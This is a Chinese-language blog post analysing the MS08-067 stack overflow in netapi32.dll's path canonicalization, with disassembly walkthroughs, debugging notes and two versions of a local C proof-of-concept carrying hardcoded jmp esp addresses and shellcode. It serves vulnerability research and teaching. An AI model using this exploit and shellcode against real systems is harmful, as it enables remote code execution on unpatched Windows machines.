selph
selph
发布于 2022-04-04 / 407 阅读
0
0

漏洞分析:MS08-067

漏洞介绍

官方公告:Microsoft 安全公告 MS08-067 - 严重 | Microsoft Docs

漏洞简述

  • 漏洞名称:MS08-067
  • 漏洞编号:CVE-2008-4250
  • 漏洞类型:栈溢出
  • 漏洞影响:远程代码执行
  • CVSS评分:9.8
  • 利用难度:Medium
  • 利用方式:远程

漏洞利用

MS08-067是继MS06-040之后又一个可以利用的RPC漏洞,在MS06-040的漏洞分析中,漏洞存在于netapi32.dll的导出函数NetpwPathCanonicalize在处理字符串时出现了错误,导致了栈溢出,2年后的MS08-067依然是这个函数出现了错误导致了栈溢出

在netapi32.dll的NetpwPathCanonicalize函数调用时会调用CanonicalizePathName函数,对远程访问路径进行规范化:

  1. /改成\
  2. 去掉相对路径.\..\

通过构造合适的路径,可以在对第2条进行规范化的实现中RemoveLegacyFloder发生了栈溢出,可以造成RCE,栈溢出覆盖最终会覆盖wcscpy的返回地址,该函数没有GS保护,但可用shellcode空间大小有限

漏洞影响

根据msf的exp可以确定被攻击的操作系统版本:Windows 2000、2003 SP0\SP1\SP2、XP SP0/SP1/SP2/SP3

漏洞分析

复现环境

  • Windows XP SP3 Chinese
  • VC++6.0
  • x86dbg和OD
  • IDA Pro 7.5

漏洞成因

漏洞产生于netapi32.dll,问题发生其导出函数NetpwPathCanonicalize内部规范化远程路径的子函数CanonicalizePathName中的RemoveLegacyFolder里,由于向上遍历\字符时,缓冲区安全边界检查不合理导致遍历到\时,该字符的地址出现在缓冲区外部,经过wcscpy造成栈溢出覆盖返回地址

静态分析

漏洞出现在和MS06-040相同的函数里:MS06040因为缓冲区安全检查判断大小编写有问题导致栈溢出,在Windows XP SP3已经得到了修复:

image-20220329172934554

在拼接完成Perfix和path之后,会对路径进行规范化处理:

  1. 会把路径中所有的/都换成\
  2. \..\.\进行处理,移除经典路径

这里出问题的函数就是做第二步的函数,函数的参数是拼接完成的路径

image-20220329173319652

函数内部首先从缓冲区首地址里把第一个字符取出来,比对看是不是\或者/

是的话,就会进入跳转:

image-20220329173500354

跳转过来判断下一个字符,如果不是\就跳转走:

image-20220329173534497

如果也不是/则接着跳转:

image-20220329173705542

这里就循环去找下一个\或者.,此时的esi应该就是个指针(p1)用来遍历的

当找到\的时候:

image-20220329173843719

这里会取之前的一个字符赋值给ebx,ebx也算是个指针(p2)

这里是跳转过来给三个指针赋了一下值,然后接着进行跳转回去再次循环找\.

当找到.的时候:

image-20220329174355537

首先判断当前字符的上一个字符是不是\,然后判断下一个字符是不是.以及再下一个字符是不是\,实际上就是判断当前指向的字符是不是\..\,如果是,则把第二个\开始的内容复制到上一个\的位置,通过wcscpy进行复制

复制完成之后,就把\..\给移去了,原理图(来自参考资料[1]):

1635423518681

在这复制完成之后,指针指向的位置乱了,P3指向了当前搜索的最新的\,P1P2指向了无意义的地方,这里需要重新找到这三个指针应该在的位置:P3指向前一个\,P1指向最新的\

image-20220329175018075

这里首先是修复了P1,P2会在P1找到指定字符的时候设置

然后紧接着比对P3上一个字符是不是\,向前循环寻找\,直到找到\为止,然后再次循环寻找下一个需要恢复的经典地址

在向前移动指针寻找\的时候,会进行地址的合法性校验,这里校验使用的是jz指令,是检验指针地址等于缓冲区首地址的时候进行跳出,当地址出现这种情况的时候:

\..\..\aaa\bbb\ccc

则指针一开始就位于缓冲区左边了,无论循环多少次都不可能被校验出问题来

如果校验条件改为jbe指令(小于等于),则就不存在这个问题了

当循环结束,在变量的缓冲区外面找到一个\的时候,下次wcscpy时,就会把东西都复制到外头去,如果会循环的时候会路过返回地址,则刚好能给覆盖掉,存在利用的可能

成功溢出的条件:

  1. 向前搜索\时越过缓冲区首地址
  2. 合并路径中至少存在两个连续的..\
  3. 合并路径中第二个..\后有足够多的字符能够覆盖返回地址

动态分析

Poc代码

代码来自参考资料[1],对本实验环境来说需要进行修改,修改见下文描述

#include <windows.h>
#include <stdio.h>
 
typedef int(__stdcall* MYPROC) (LPWSTR, LPWSTR, DWORD, LPWSTR, LPDWORD, DWORD);
 
// address of jmp esp
//xp sp3 chinese
#define JMP_ESP "\xcd\x54\xfa\x7f\x00\x00"
 
//shellcode
#define SHELL_CODE \
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"
 
int main(int argc, char* argv[])
{
    WCHAR path[256] = { 0 };
    WCHAR can_path[256] = { 0 };
    DWORD type = 1000;
    int retval;
    HMODULE handle = LoadLibrary(L".\\netapi32.dll");
    MYPROC Trigger = NULL;
 
    if (NULL == handle)
    {
        wprintf(L"Fail to load library!\n");
        return -1;
    }
 
    Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
    if (NULL == Trigger)
    {
        FreeLibrary(handle);
        wprintf(L"Fail to get api address!\n");
        return -1;
    }
 
    path[0] = 0;
    //112 => 109
    wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb");
    wcscat(path, (const wchar_t*)JMP_ESP);
    wcscat(path, (const wchar_t*)SHELL_CODE);
 
 
    type = 1000;
    wprintf(L"BEFORE: %s\n", path);
    retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
    wprintf(L"AFTER : %s\n", can_path);
    wprintf(L"RETVAL: %s(0x%X)\n\n", retval ? L"FAIL" : L"SUCCESS", retval);
    FreeLibrary(handle);
 
    return 0;
}

调试分析

对漏洞函数下断点,然后执行观察流程:

image-20220329192102349

首先会遍历路径去寻找\,然后跳转去保存该\的地址,接着遍历下一个字符

下一个字符是.也会被命中,会进入另一个跳转:

image-20220329192520233

跳转去处理\..\路径了,这里构造的路径开头是:\aaa\..\..\bbbb,就会变成如图所示的:\..\bbbb,接下来会进行跳转去修正指针esi和edi的位置

image-20220329192834380

在修正过程中,第一次安全检查就如静态分析的一样,地址直接出现在了缓冲区首地址的前面

当找到\的时候:

image-20220329193056454

地址在0x12F25E,距离当前还很远,我们能够利用的缓冲区大小可没有这么大

遇到了个问题:如何让上一个\出现在接近栈顶的位置呢?

尝试了各种修改项目设置,最后发现,用VC++6.0编译即可直接满足要求

用VC++6.0重新编译后,运行到这里:

image-20220329195906491

\的位置是0x12F5FA,返回地址的位置是0x12F6FC,距离是:0x12F6FC - 0x12F5FA = 0x102

输入的路径可以达到这个大小

第一次调用wcscpy会让前面的aaa消失,第二次调用的时候,会覆盖栈,因为wcscpy是函数调用,所以会在wcscpy函数中覆盖返回地址,通过该函数的返回地址跳转去shellcode,而且该函数没有GS保护

第二次复制的时候进入wcscpy观察栈的情况:

image-20220329201810855

刚刚那个poc代码中的路径长度不够,需要再加12个宽字符才能成功覆盖返回地址

解释一下ROP的构造(虽然代码是网上copy的,但还是能看懂的):

因为wcscpy会造成栈溢出,导致返回地址被覆盖,也就是说esp往后的内容都是可控的

所以需要通过ret跳转到一个能直接jmp esp的地方,然后直接jmp esp就能直接让执行流回到栈上来,所以这里的Shellcode构造思路很简单,路径+jmp esp地址+ shellcode

修改后的Poc代码

修改poc代码:

#include <windows.h>
#include <stdio.h>
 
typedef int(__stdcall* MYPROC) (LPWSTR, LPWSTR, DWORD, LPWSTR, LPDWORD, DWORD);
 
// address of jmp esp
//xp sp3 chinese
#define JMP_ESP "\xcd\x54\xfa\x7f\x00\x00"
 
//shellcode
#define SHELL_CODE \
"\x90\x90\x90\x90" \
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" \
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" \
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" \
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" \
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" \
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" \
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" \
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" \
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" \
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" \
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x00\x00"
 
int main(int argc, char* argv[])
{
    WCHAR path[256] = { 0 };
    WCHAR can_path[256] = { 0 };
    DWORD type = 1000;
    int retval;
    HMODULE handle = LoadLibraryA(".\\netapi32.dll");
    MYPROC Trigger = NULL;
 
    if (NULL == handle)
    {
        wprintf(L"Fail to load library!\n");
        return -1;
    }
 
    Trigger = (MYPROC)GetProcAddress(handle, "NetpwPathCanonicalize");
    if (NULL == Trigger)
    {
        FreeLibrary(handle);
        wprintf(L"Fail to get api address!\n");
        return -1;
    }
 
    path[0] = 0;
    //112 => 109
    wcscpy(path, L"\\aaa\\..\\..\\bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbccccccccdddddd");
    wcscat(path, (const wchar_t*)JMP_ESP);
    wcscat(path, (const wchar_t*)SHELL_CODE);
 
 
    type = 1000;
    wprintf(L"BEFORE: %s\n", path);
    retval = (Trigger)(path, can_path, 1000, NULL, &type, 1);
    wprintf(L"AFTER : %s\n", can_path);
    wprintf(L"RETVAL: %s(0x%X)\n\n", retval ? L"FAIL" : L"SUCCESS", retval);
    FreeLibrary(handle);
 
    return 0;
}

直接运行:

image-20220329201955026

成功弹窗,shellcode执行成功

远程调试

这一块内容主要参考参考资料[2]

该服务允许在svchost.exe进程中,通过wmic命令找到该进程的参数:

wmic process where caption="svchost.exe" get caption,handle,commandline

image-20220330100159299

这个参数是-k netsvcs的进程就是我们要找的进程

打开OD(默认配置的x86dbg附加不了),附加该进程,在导出函数NetpwPathCanonicalize上下断点

打开kali,选择08067的利用,设置好ip,run,即可触发断点进行调试,调试过程和本地调试一样,具体内容见参考资料[2]

参考资料


评论